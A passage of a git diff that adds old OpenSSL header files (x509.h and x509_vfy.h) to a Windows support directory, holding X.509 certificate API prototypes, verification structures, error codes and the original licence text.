nmflag, unsigned long cflag); +int X509_REQ_print(BIO *bp,X509_REQ *req); +#endif + +int X509_NAME_entry_count(X509_NAME *name); +int X509_NAME_get_text_by_NID(X509_NAME *name, int nid, + char *buf,int len); +int X509_NAME_get_text_by_OBJ(X509_NAME *name, ASN1_OBJECT *obj, + char *buf,int len); + +/* NOTE: you should be passsing -1, not 0 as lastpos. The functions that use + * lastpos, search after that position on. */ +int X509_NAME_get_index_by_NID(X509_NAME *name,int nid,int lastpos); +int X509_NAME_get_index_by_OBJ(X509_NAME *name,ASN1_OBJECT *obj, + int lastpos); +X509_NAME_ENTRY *X509_NAME_get_entry(X509_NAME *name, int loc); +X509_NAME_ENTRY *X509_NAME_delete_entry(X509_NAME *name, int loc); +int X509_NAME_add_entry(X509_NAME *name,X509_NAME_ENTRY *ne, + int loc, int set); +int X509_NAME_add_entry_by_OBJ(X509_NAME *name, ASN1_OBJECT *obj, int type, + unsigned char *bytes, int len, int loc, int set); +int X509_NAME_add_entry_by_NID(X509_NAME *name, int nid, int type, + unsigned char *bytes, int len, int loc, int set); +X509_NAME_ENTRY *X509_NAME_ENTRY_create_by_txt(X509_NAME_ENTRY **ne, + const char *field, int type, const unsigned char *bytes, int len); +X509_NAME_ENTRY *X509_NAME_ENTRY_create_by_NID(X509_NAME_ENTRY **ne, int nid, + int type,unsigned char *bytes, int len); +int X509_NAME_add_entry_by_txt(X509_NAME *name, const char *field, int type, + const unsigned char *bytes, int len, int loc, int set); +X509_NAME_ENTRY *X509_NAME_ENTRY_create_by_OBJ(X509_NAME_ENTRY **ne, + ASN1_OBJECT *obj, int type,const unsigned char *bytes, + int len); +int X509_NAME_ENTRY_set_object(X509_NAME_ENTRY *ne, + ASN1_OBJECT *obj); +int X509_NAME_ENTRY_set_data(X509_NAME_ENTRY *ne, int type, + const unsigned char *bytes, int len); +ASN1_OBJECT * X509_NAME_ENTRY_get_object(X509_NAME_ENTRY *ne); +ASN1_STRING * X509_NAME_ENTRY_get_data(X509_NAME_ENTRY *ne); + +int X509v3_get_ext_count(const STACK_OF(X509_EXTENSION) *x); +int X509v3_get_ext_by_NID(const STACK_OF(X509_EXTENSION) *x, + int nid, int lastpos); +int X509v3_get_ext_by_OBJ(const STACK_OF(X509_EXTENSION) *x, + ASN1_OBJECT *obj,int lastpos); +int X509v3_get_ext_by_critical(const STACK_OF(X509_EXTENSION) *x, + int crit, int lastpos); +X509_EXTENSION *X509v3_get_ext(const STACK_OF(X509_EXTENSION) *x, int loc); +X509_EXTENSION *X509v3_delete_ext(STACK_OF(X509_EXTENSION) *x, int loc); +STACK_OF(X509_EXTENSION) *X509v3_add_ext(STACK_OF(X509_EXTENSION) **x, + X509_EXTENSION *ex, int loc); + +int X509_get_ext_count(X509 *x); +int X509_get_ext_by_NID(X509 *x, int nid, int lastpos); +int X509_get_ext_by_OBJ(X509 *x,ASN1_OBJECT *obj,int lastpos); +int X509_get_ext_by_critical(X509 *x, int crit, int lastpos); +X509_EXTENSION *X509_get_ext(X509 *x, int loc); +X509_EXTENSION *X509_delete_ext(X509 *x, int loc); +int X509_add_ext(X509 *x, X509_EXTENSION *ex, int loc); +void * X509_get_ext_d2i(X509 *x, int nid, int *crit, int *idx); +int X509_add1_ext_i2d(X509 *x, int nid, void *value, int crit, + unsigned long flags); + +int X509_CRL_get_ext_count(X509_CRL *x); +int X509_CRL_get_ext_by_NID(X509_CRL *x, int nid, int lastpos); +int X509_CRL_get_ext_by_OBJ(X509_CRL *x,ASN1_OBJECT *obj,int lastpos); +int X509_CRL_get_ext_by_critical(X509_CRL *x, int crit, int lastpos); +X509_EXTENSION *X509_CRL_get_ext(X509_CRL *x, int loc); +X509_EXTENSION *X509_CRL_delete_ext(X509_CRL *x, int loc); +int X509_CRL_add_ext(X509_CRL *x, X509_EXTENSION *ex, int loc); +void * X509_CRL_get_ext_d2i(X509_CRL *x, int nid, int *crit, int *idx); +int X509_CRL_add1_ext_i2d(X509_CRL *x, int nid, void *value, int crit, + unsigned long flags); + +int X509_REVOKED_get_ext_count(X509_REVOKED *x); +int X509_REVOKED_get_ext_by_NID(X509_REVOKED *x, int nid, int lastpos); +int X509_REVOKED_get_ext_by_OBJ(X509_REVOKED *x,ASN1_OBJECT *obj,int lastpos); +int X509_REVOKED_get_ext_by_critical(X509_REVOKED *x, int crit, int lastpos); +X509_EXTENSION *X509_REVOKED_get_ext(X509_REVOKED *x, int loc); +X509_EXTENSION *X509_REVOKED_delete_ext(X509_REVOKED *x, int loc); +int X509_REVOKED_add_ext(X509_REVOKED *x, X509_EXTENSION *ex, int loc); +void * X509_REVOKED_get_ext_d2i(X509_REVOKED *x, int nid, int *crit, int *idx); +int X509_REVOKED_add1_ext_i2d(X509_REVOKED *x, int nid, void *value, int crit, + unsigned long flags); + +X509_EXTENSION *X509_EXTENSION_create_by_NID(X509_EXTENSION **ex, + int nid, int crit, ASN1_OCTET_STRING *data); +X509_EXTENSION *X509_EXTENSION_create_by_OBJ(X509_EXTENSION **ex, + ASN1_OBJECT *obj,int crit,ASN1_OCTET_STRING *data); +int X509_EXTENSION_set_object(X509_EXTENSION *ex,ASN1_OBJECT *obj); +int X509_EXTENSION_set_critical(X509_EXTENSION *ex, int crit); +int X509_EXTENSION_set_data(X509_EXTENSION *ex, + ASN1_OCTET_STRING *data); +ASN1_OBJECT * X509_EXTENSION_get_object(X509_EXTENSION *ex); +ASN1_OCTET_STRING *X509_EXTENSION_get_data(X509_EXTENSION *ne); +int X509_EXTENSION_get_critical(X509_EXTENSION *ex); + +int X509at_get_attr_count(const STACK_OF(X509_ATTRIBUTE) *x); +int X509at_get_attr_by_NID(const STACK_OF(X509_ATTRIBUTE) *x, int nid, + int lastpos); +int X509at_get_attr_by_OBJ(const STACK_OF(X509_ATTRIBUTE) *sk, ASN1_OBJECT *obj, + int lastpos); +X509_ATTRIBUTE *X509at_get_attr(const STACK_OF(X509_ATTRIBUTE) *x, int loc); +X509_ATTRIBUTE *X509at_delete_attr(STACK_OF(X509_ATTRIBUTE) *x, int loc); +STACK_OF(X509_ATTRIBUTE) *X509at_add1_attr(STACK_OF(X509_ATTRIBUTE) **x, + X509_ATTRIBUTE *attr); +STACK_OF(X509_ATTRIBUTE) *X509at_add1_attr_by_OBJ(STACK_OF(X509_ATTRIBUTE) **x, + const ASN1_OBJECT *obj, int type, + const unsigned char *bytes, int len); +STACK_OF(X509_ATTRIBUTE) *X509at_add1_attr_by_NID(STACK_OF(X509_ATTRIBUTE) **x, + int nid, int type, + const unsigned char *bytes, int len); +STACK_OF(X509_ATTRIBUTE) *X509at_add1_attr_by_txt(STACK_OF(X509_ATTRIBUTE) **x, + const char *attrname, int type, + const unsigned char *bytes, int len); +void *X509at_get0_data_by_OBJ(STACK_OF(X509_ATTRIBUTE) *x, + ASN1_OBJECT *obj, int lastpos, int type); +X509_ATTRIBUTE *X509_ATTRIBUTE_create_by_NID(X509_ATTRIBUTE **attr, int nid, + int atrtype, const void *data, int len); +X509_ATTRIBUTE *X509_ATTRIBUTE_create_by_OBJ(X509_ATTRIBUTE **attr, + const ASN1_OBJECT *obj, int atrtype, const void *data, int len); +X509_ATTRIBUTE *X509_ATTRIBUTE_create_by_txt(X509_ATTRIBUTE **attr, + const char *atrname, int type, const unsigned char *bytes, int len); +int X509_ATTRIBUTE_set1_object(X509_ATTRIBUTE *attr, const ASN1_OBJECT *obj); +int X509_ATTRIBUTE_set1_data(X509_ATTRIBUTE *attr, int attrtype, const void *data, int len); +void *X509_ATTRIBUTE_get0_data(X509_ATTRIBUTE *attr, int idx, + int atrtype, void *data); +int X509_ATTRIBUTE_count(X509_ATTRIBUTE *attr); +ASN1_OBJECT *X509_ATTRIBUTE_get0_object(X509_ATTRIBUTE *attr); +ASN1_TYPE *X509_ATTRIBUTE_get0_type(X509_ATTRIBUTE *attr, int idx); + +int EVP_PKEY_get_attr_count(const EVP_PKEY *key); +int EVP_PKEY_get_attr_by_NID(const EVP_PKEY *key, int nid, + int lastpos); +int EVP_PKEY_get_attr_by_OBJ(const EVP_PKEY *key, ASN1_OBJECT *obj, + int lastpos); +X509_ATTRIBUTE *EVP_PKEY_get_attr(const EVP_PKEY *key, int loc); +X509_ATTRIBUTE *EVP_PKEY_delete_attr(EVP_PKEY *key, int loc); +int EVP_PKEY_add1_attr(EVP_PKEY *key, X509_ATTRIBUTE *attr); +int EVP_PKEY_add1_attr_by_OBJ(EVP_PKEY *key, + const ASN1_OBJECT *obj, int type, + const unsigned char *bytes, int len); +int EVP_PKEY_add1_attr_by_NID(EVP_PKEY *key, + int nid, int type, + const unsigned char *bytes, int len); +int EVP_PKEY_add1_attr_by_txt(EVP_PKEY *key, + const char *attrname, int type, + const unsigned char *bytes, int len); + +int X509_verify_cert(X509_STORE_CTX *ctx); + +/* lookup a cert from a X509 STACK */ +X509 *X509_find_by_issuer_and_serial(STACK_OF(X509) *sk,X509_NAME *name, + ASN1_INTEGER *serial); +X509 *X509_find_by_subject(STACK_OF(X509) *sk,X509_NAME *name); + +DECLARE_ASN1_FUNCTIONS(PBEPARAM) +DECLARE_ASN1_FUNCTIONS(PBE2PARAM) +DECLARE_ASN1_FUNCTIONS(PBKDF2PARAM) + +X509_ALGOR *PKCS5_pbe_set(int alg, int iter, unsigned char *salt, int saltlen); +X509_ALGOR *PKCS5_pbe2_set(const EVP_CIPHER *cipher, int iter, + unsigned char *salt, int saltlen); + +/* PKCS#8 utilities */ + +DECLARE_ASN1_FUNCTIONS(PKCS8_PRIV_KEY_INFO) + +EVP_PKEY *EVP_PKCS82PKEY(PKCS8_PRIV_KEY_INFO *p8); +PKCS8_PRIV_KEY_INFO *EVP_PKEY2PKCS8(EVP_PKEY *pkey); +PKCS8_PRIV_KEY_INFO *EVP_PKEY2PKCS8_broken(EVP_PKEY *pkey, int broken); +PKCS8_PRIV_KEY_INFO *PKCS8_set_broken(PKCS8_PRIV_KEY_INFO *p8, int broken); + +int X509_check_trust(X509 *x, int id, int flags); +int X509_TRUST_get_count(void); +X509_TRUST * X509_TRUST_get0(int idx); +int X509_TRUST_get_by_id(int id); +int X509_TRUST_add(int id, int flags, int (*ck)(X509_TRUST *, X509 *, int), + char *name, int arg1, void *arg2); +void X509_TRUST_cleanup(void); +int X509_TRUST_get_flags(X509_TRUST *xp); +char *X509_TRUST_get0_name(X509_TRUST *xp); +int X509_TRUST_get_trust(X509_TRUST *xp); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_X509_strings(void); + +/* Error codes for the X509 functions. */ + +/* Function codes. */ +#define X509_F_ADD_CERT_DIR 100 +#define X509_F_BY_FILE_CTRL 101 +#define X509_F_CHECK_POLICY 145 +#define X509_F_DIR_CTRL 102 +#define X509_F_GET_CERT_BY_SUBJECT 103 +#define X509_F_NETSCAPE_SPKI_B64_DECODE 129 +#define X509_F_NETSCAPE_SPKI_B64_ENCODE 130 +#define X509_F_X509AT_ADD1_ATTR 135 +#define X509_F_X509V3_ADD_EXT 104 +#define X509_F_X509_ATTRIBUTE_CREATE_BY_NID 136 +#define X509_F_X509_ATTRIBUTE_CREATE_BY_OBJ 137 +#define X509_F_X509_ATTRIBUTE_CREATE_BY_TXT 140 +#define X509_F_X509_ATTRIBUTE_GET0_DATA 139 +#define X509_F_X509_ATTRIBUTE_SET1_DATA 138 +#define X509_F_X509_CHECK_PRIVATE_KEY 128 +#define X509_F_X509_CRL_PRINT_FP 147 +#define X509_F_X509_EXTENSION_CREATE_BY_NID 108 +#define X509_F_X509_EXTENSION_CREATE_BY_OBJ 109 +#define X509_F_X509_GET_PUBKEY_PARAMETERS 110 +#define X509_F_X509_LOAD_CERT_CRL_FILE 132 +#define X509_F_X509_LOAD_CERT_FILE 111 +#define X509_F_X509_LOAD_CRL_FILE 112 +#define X509_F_X509_NAME_ADD_ENTRY 113 +#define X509_F_X509_NAME_ENTRY_CREATE_BY_NID 114 +#define X509_F_X509_NAME_ENTRY_CREATE_BY_TXT 131 +#define X509_F_X509_NAME_ENTRY_SET_OBJECT 115 +#define X509_F_X509_NAME_ONELINE 116 +#define X509_F_X509_NAME_PRINT 117 +#define X509_F_X509_PRINT_EX_FP 118 +#define X509_F_X509_PUBKEY_GET 119 +#define X509_F_X509_PUBKEY_SET 120 +#define X509_F_X509_REQ_CHECK_PRIVATE_KEY 144 +#define X509_F_X509_REQ_PRINT_EX 121 +#define X509_F_X509_REQ_PRINT_FP 122 +#define X509_F_X509_REQ_TO_X509 123 +#define X509_F_X509_STORE_ADD_CERT 124 +#define X509_F_X509_STORE_ADD_CRL 125 +#define X509_F_X509_STORE_CTX_GET1_ISSUER 146 +#define X509_F_X509_STORE_CTX_INIT 143 +#define X509_F_X509_STORE_CTX_NEW 142 +#define X509_F_X509_STORE_CTX_PURPOSE_INHERIT 134 +#define X509_F_X509_TO_X509_REQ 126 +#define X509_F_X509_TRUST_ADD 133 +#define X509_F_X509_TRUST_SET 141 +#define X509_F_X509_VERIFY_CERT 127 + +/* Reason codes. */ +#define X509_R_BAD_X509_FILETYPE 100 +#define X509_R_BASE64_DECODE_ERROR 118 +#define X509_R_CANT_CHECK_DH_KEY 114 +#define X509_R_CERT_ALREADY_IN_HASH_TABLE 101 +#define X509_R_ERR_ASN1_LIB 102 +#define X509_R_INVALID_DIRECTORY 113 +#define X509_R_INVALID_FIELD_NAME 119 +#define X509_R_INVALID_TRUST 123 +#define X509_R_KEY_TYPE_MISMATCH 115 +#define X509_R_KEY_VALUES_MISMATCH 116 +#define X509_R_LOADING_CERT_DIR 103 +#define X509_R_LOADING_DEFAULTS 104 +#define X509_R_NO_CERT_SET_FOR_US_TO_VERIFY 105 +#define X509_R_SHOULD_RETRY 106 +#define X509_R_UNABLE_TO_FIND_PARAMETERS_IN_CHAIN 107 +#define X509_R_UNABLE_TO_GET_CERTS_PUBLIC_KEY 108 +#define X509_R_UNKNOWN_KEY_TYPE 117 +#define X509_R_UNKNOWN_NID 109 +#define X509_R_UNKNOWN_PURPOSE_ID 121 +#define X509_R_UNKNOWN_TRUST_ID 120 +#define X509_R_UNSUPPORTED_ALGORITHM 111 +#define X509_R_WRONG_LOOKUP_TYPE 112 +#define X509_R_WRONG_TYPE 122 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/x509_vfy.h b/winstuff/openssl/x509_vfy.h new file mode 100644 index 0000000..76c76e1 --- /dev/null +++ b/winstuff/openssl/x509_vfy.h @@ -0,0 +1,531 @@ +/* crypto/x509/x509_vfy.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_X509_H +#include +/* openssl/x509.h ends up #include-ing this file at about the only + * appropriate moment. */ +#endif + +#ifndef HEADER_X509_VFY_H +#define HEADER_X509_VFY_H + +#include +#ifndef OPENSSL_NO_LHASH +#include +#endif +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Outer object */ +typedef struct x509_hash_dir_st + { + int num_dirs; + char **dirs; + int *dirs_type; + int num_dirs_alloced; + } X509_HASH_DIR_CTX; + +typedef struct x509_file_st + { + int num_paths; /* number of paths to files or directories */ + int num_alloced; + char **paths; /* the list of paths or directories */ + int *path_type; + } X509_CERT_FILE_CTX; + +/*******************************/ +/* +SSL_CTX -> X509_STORE + -> X509_LOOKUP + ->X509_LOOKUP_METHOD + -> X509_LOOKUP + ->X509_LOOKUP_METHOD + +SSL -> X509_STORE_CTX + ->X509_STORE + +The X509_STORE holds the tables etc for verification stuff. +A X509_STORE_CTX is used while validating a single certificate. +The X509_STORE has X509_LOOKUPs for looking up certs. +The X509_STORE then calls a function to actually verify the +certificate chain. +*/ + +#define X509_LU_RETRY -1 +#define X509_LU_FAIL 0 +#define X509_LU_X509 1 +#define X509_LU_CRL 2 +#define X509_LU_PKEY 3 + +typedef struct x509_object_st + { + /* one of the above types */ + int type; + union { + char *ptr; + X509 *x509; + X509_CRL *crl; + EVP_PKEY *pkey; + } data; + } X509_OBJECT; + +typedef struct x509_lookup_st X509_LOOKUP; + +DECLARE_STACK_OF(X509_LOOKUP) +DECLARE_STACK_OF(X509_OBJECT) + +/* This is a static that defines the function interface */ +typedef struct x509_lookup_method_st + { + const char *name; + int (*new_item)(X509_LOOKUP *ctx); + void (*free)(X509_LOOKUP *ctx); + int (*init)(X509_LOOKUP *ctx); + int (*shutdown)(X509_LOOKUP *ctx); + int (*ctrl)(X509_LOOKUP *ctx,int cmd,const char *argc,long argl, + char **ret); + int (*get_by_subject)(X509_LOOKUP *ctx,int type,X509_NAME *name, + X509_OBJECT *ret); + int (*get_by_issuer_serial)(X509_LOOKUP *ctx,int type,X509_NAME *name, + ASN1_INTEGER *serial,X509_OBJECT *ret); + int (*get_by_fingerprint)(X509_LOOKUP *ctx,int type, + unsigned char *bytes,int len, + X509_OBJECT *ret); + int (*get_by_alias)(X509_LOOKUP *ctx,int type,char *str,int len, + X509_OBJECT *ret); + } X509_LOOKUP_METHOD; + +/* This structure hold all parameters associated with a verify operation + * by including an X509_VERIFY_PARAM structure in related structures the + * parameters used can be customized + */ + +typedef struct X509_VERIFY_PARAM_st + { + char *name; + time_t check_time; /* Time to use */ + unsigned long inh_flags; /* Inheritance flags */ + unsigned long flags; /* Various verify flags */ + int purpose; /* purpose to check untrusted certificates */ + int trust; /* trust setting to check */ + int depth; /* Verify depth */ + STACK_OF(ASN1_OBJECT) *policies; /* Permissible policies */ + } X509_VERIFY_PARAM; + +DECLARE_STACK_OF(X509_VERIFY_PARAM) + +/* This is used to hold everything. It is used for all certificate + * validation. Once we have a certificate chain, the 'verify' + * function is then called to actually check the cert chain. */ +struct x509_store_st + { + /* The following is a cache of trusted certs */ + int cache; /* if true, stash any hits */ + STACK_OF(X509_OBJECT) *objs; /* Cache of all objects */ + + /* These are external lookup methods */ + STACK_OF(X509_LOOKUP) *get_cert_methods; + + X509_VERIFY_PARAM *param; + + /* Callbacks for various operations */ + int (*verify)(X509_STORE_CTX *ctx); /* called to verify a certificate */ + int (*verify_cb)(int ok,X509_STORE_CTX *ctx); /* error callback */ + int (*get_issuer)(X509 **issuer, X509_STORE_CTX *ctx, X509 *x); /* get issuers cert from ctx */ + int (*check_issued)(X509_STORE_CTX *ctx, X509 *x, X509 *issuer); /* check issued */ + int (*check_revocation)(X509_STORE_CTX *ctx); /* Check revocation status of chain */ + int (*get_crl)(X509_STORE_CTX *ctx, X509_CRL **crl, X509 *x); /* retrieve CRL */ + int (*check_crl)(X509_STORE_CTX *ctx, X509_CRL *crl); /* Check CRL validity */ + int (*cert_crl)(X509_STORE_CTX *ctx, X509_CRL *crl, X509 *x); /* Check certificate against CRL */ + int (*cleanup)(X509_STORE_CTX *ctx); + + CRYPTO_EX_DATA ex_data; + int references; + } /* X509_STORE */; + +int X509_STORE_set_depth(X509_STORE *store, int depth); + +#define X509_STORE_set_verify_cb_func(ctx,func) ((ctx)->verify_cb=(func)) +#define X509_STORE_set_verify_func(ctx,func) ((ctx)->verify=(func)) + +/* This is the functions plus an instance of the local variables. */ +struct x509_lookup_st + { + int init; /* have we been started */ + int skip; /* don't use us. */ + X509_LOOKUP_METHOD *method; /* the functions */ + char *method_data; /* method data */ + + X509_STORE *store_ctx; /* who owns us */ + } /* X509_LOOKUP */; + +/* This is a used when verifying cert chains. Since the + * gathering of the cert chain can take some time (and have to be + * 'retried', this needs to be kept and passed around. */ +struct x509_store_ctx_st /* X509_STORE_CTX */ + { + X509_STORE *ctx; + int current_method; /* used when looking up certs */ + + /* The following are set by the caller */ + X509 *cert; /* The cert to check */ + STACK_OF(X509) *untrusted; /* chain of X509s - untrusted - passed in */ + STACK_OF(X509_CRL) *crls; /* set of CRLs passed in */ + + X509_VERIFY_PARAM *param; + void *other_ctx; /* Other info for use with get_issuer() */ + + /* Callbacks for various operations */ + int (*verify)(X509_STORE_CTX *ctx); /* called to verify a certificate */ + int (*verify_cb)(int ok,X509_STORE_CTX *ctx); /* error callback */ + int (*get_issuer)(X509 **issuer, X509_STORE_CTX *ctx, X509 *x); /* get issuers cert from ctx */ + int (*check_issued)(X509_STORE_CTX *ctx, X509 *x, X509 *issuer); /* check issued */ + int (*check_revocation)(X509_STORE_CTX *ctx); /* Check revocation status of chain */ + int (*get_crl)(X509_STORE_CTX *ctx, X509_CRL **crl, X509 *x); /* retrieve CRL */ + int (*check_crl)(X509_STORE_CTX *ctx, X509_CRL *crl); /* Check CRL validity */ + int (*cert_crl)(X509_STORE_CTX *ctx, X509_CRL *crl, X509 *x); /* Check certificate against CRL */ + int (*check_policy)(X509_STORE_CTX *ctx); + int (*cleanup)(X509_STORE_CTX *ctx); + + /* The following is built up */ + int valid; /* if 0, rebuild chain */ + int last_untrusted; /* index of last untrusted cert */ + STACK_OF(X509) *chain; /* chain of X509s - built up and trusted */ + X509_POLICY_TREE *tree; /* Valid policy tree */ + + int explicit_policy; /* Require explicit policy value */ + + /* When something goes wrong, this is why */ + int error_depth; + int error; + X509 *current_cert; + X509 *current_issuer; /* cert currently being tested as valid issuer */ + X509_CRL *current_crl; /* current CRL */ + + CRYPTO_EX_DATA ex_data; + } /* X509_STORE_CTX */; + +void X509_STORE_CTX_set_depth(X509_STORE_CTX *ctx, int depth); + +#define X509_STORE_CTX_set_app_data(ctx,data) \ + X509_STORE_CTX_set_ex_data(ctx,0,data) +#define X509_STORE_CTX_get_app_data(ctx) \ + X509_STORE_CTX_get_ex_data(ctx,0) + +#define X509_L_FILE_LOAD 1 +#define X509_L_ADD_DIR 2 + +#define X509_LOOKUP_load_file(x,name,type) \ + X509_LOOKUP_ctrl((x),X509_L_FILE_LOAD,(name),(long)(type),NULL) + +#define X509_LOOKUP_add_dir(x,name,type) \ + X509_LOOKUP_ctrl((x),X509_L_ADD_DIR,(name),(long)(type),NULL) + +#define X509_V_OK 0 +/* illegal error (for uninitialized values, to avoid X509_V_OK): 1 */ + +#define X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT 2 +#define X509_V_ERR_UNABLE_TO_GET_CRL 3 +#define X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE 4 +#define X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE 5 +#define X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY 6 +#define X509_V_ERR_CERT_SIGNATURE_FAILURE 7 +#define X509_V_ERR_CRL_SIGNATURE_FAILURE 8 +#define X509_V_ERR_CERT_NOT_YET_VALID 9 +#define X509_V_ERR_CERT_HAS_EXPIRED 10 +#define X509_V_ERR_CRL_NOT_YET_VALID 11 +#define X509_V_ERR_CRL_HAS_EXPIRED 12 +#define X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD 13 +#define X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD 14 +#define X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD 15 +#define X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD 16 +#define X509_V_ERR_OUT_OF_MEM 17 +#define X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT 18 +#define X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN 19 +#define X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY 20 +#define X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE 21 +#define X509_V_ERR_CERT_CHAIN_TOO_LONG 22 +#define X509_V_ERR_CERT_REVOKED 23 +#define X509_V_ERR_INVALID_CA 24 +#define X509_V_ERR_PATH_LENGTH_EXCEEDED 25 +#define X509_V_ERR_INVALID_PURPOSE 26 +#define X509_V_ERR_CERT_UNTRUSTED 27 +#define X509_V_ERR_CERT_REJECTED 28 +/* These are 'informational' when looking for issuer cert */ +#define X509_V_ERR_SUBJECT_ISSUER_MISMATCH 29 +#define X509_V_ERR_AKID_SKID_MISMATCH 30 +#define X509_V_ERR_AKID_ISSUER_SERIAL_MISMATCH 31 +#define X509_V_ERR_KEYUSAGE_NO_CERTSIGN 32 + +#define X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER 33 +#define X509_V_ERR_UNHANDLED_CRITICAL_EXTENSION 34 +#define X509_V_ERR_KEYUSAGE_NO_CRL_SIGN 35 +#define X509_V_ERR_UNHANDLED_CRITICAL_CRL_EXTENSION 36 +#define X509_V_ERR_INVALID_NON_CA 37 +#define X509_V_ERR_PROXY_PATH_LENGTH_EXCEEDED 38 +#define X509_V_ERR_KEYUSAGE_NO_DIGITAL_SIGNATURE 39 +#define X509_V_ERR_PROXY_CERTIFICATES_NOT_ALLOWED 40 + +#define X509_V_ERR_INVALID_EXTENSION 41 +#define X509_V_ERR_INVALID_POLICY_EXTENSION 42 +#define X509_V_ERR_NO_EXPLICIT_POLICY 43 + +#define X509_V_ERR_UNNESTED_RESOURCE 44 + +/* The application is not happy */ +#define X509_V_ERR_APPLICATION_VERIFICATION 50 + +/* Certificate verify flags */ + +/* Send issuer+subject checks to verify_cb */ +#define X509_V_FLAG_CB_ISSUER_CHECK 0x1 +/* Use check time instead of current time */ +#define X509_V_FLAG_USE_CHECK_TIME 0x2 +/* Lookup CRLs */ +#define X509_V_FLAG_CRL_CHECK 0x4 +/* Lookup CRLs for whole chain */ +#define X509_V_FLAG_CRL_CHECK_ALL 0x8 +/* Ignore unhandled critical extensions */ +#define X509_V_FLAG_IGNORE_CRITICAL 0x10 +/* Disable workarounds for broken certificates */ +#define X509_V_FLAG_X509_STRICT 0x20 +/* Enable proxy certificate validation */ +#define X509_V_FLAG_ALLOW_PROXY_CERTS 0x40 +/* Enable policy checking */ +#define X509_V_FLAG_POLICY_CHECK 0x80 +/* Policy variable require-explicit-policy */ +#define X509_V_FLAG_EXPLICIT_POLICY 0x100 +/* Policy variable inhibit-any-policy */ +#define X509_V_FLAG_INHIBIT_ANY 0x200 +/* Policy variable inhibit-policy-mapping */ +#define X509_V_FLAG_INHIBIT_MAP 0x400 +/* Notify callback that policy is OK */ +#define X509_V_FLAG_NOTIFY_POLICY 0x800 + +#define X509_VP_FLAG_DEFAULT 0x1 +#define X509_VP_FLAG_OVERWRITE 0x2 +#define X509_VP_FLAG_RESET_FLAGS 0x4 +#define X509_VP_FLAG_LOCKED 0x8 +#define X509_VP_FLAG_ONCE 0x10 + +/* Internal use: mask of policy related options */ +#define X509_V_FLAG_POLICY_MASK (X509_V_FLAG_POLICY_CHECK \ + | X509_V_FLAG_EXPLICIT_POLICY \ + | X509_V_FLAG_INHIBIT_ANY \ + | X509_V_FLAG_INHIBIT_MAP) + +int X509_OBJECT_idx_by_subject(STACK_OF(X509_OBJECT) *h, int type, + X509_NAME *name); +X509_OBJECT *X509_OBJECT_retrieve_by_subject(STACK_OF(X509_OBJECT) *h,int type,X509_NAME *name); +X509_OBJECT *X509_OBJECT_retrieve_match(STACK_OF(X509_OBJECT) *h, X509_OBJECT *x); +void X509_OBJECT_up_ref_count(X509_OBJECT *a); +void X509_OBJECT_free_contents(X509_OBJECT *a); +X509_STORE *X509_STORE_new(void ); +void X509_STORE_free(X509_STORE *v); + +int X509_STORE_set_flags(X509_STORE *ctx, unsigned long flags); +int X509_STORE_set_purpose(X509_STORE *ctx, int purpose); +int 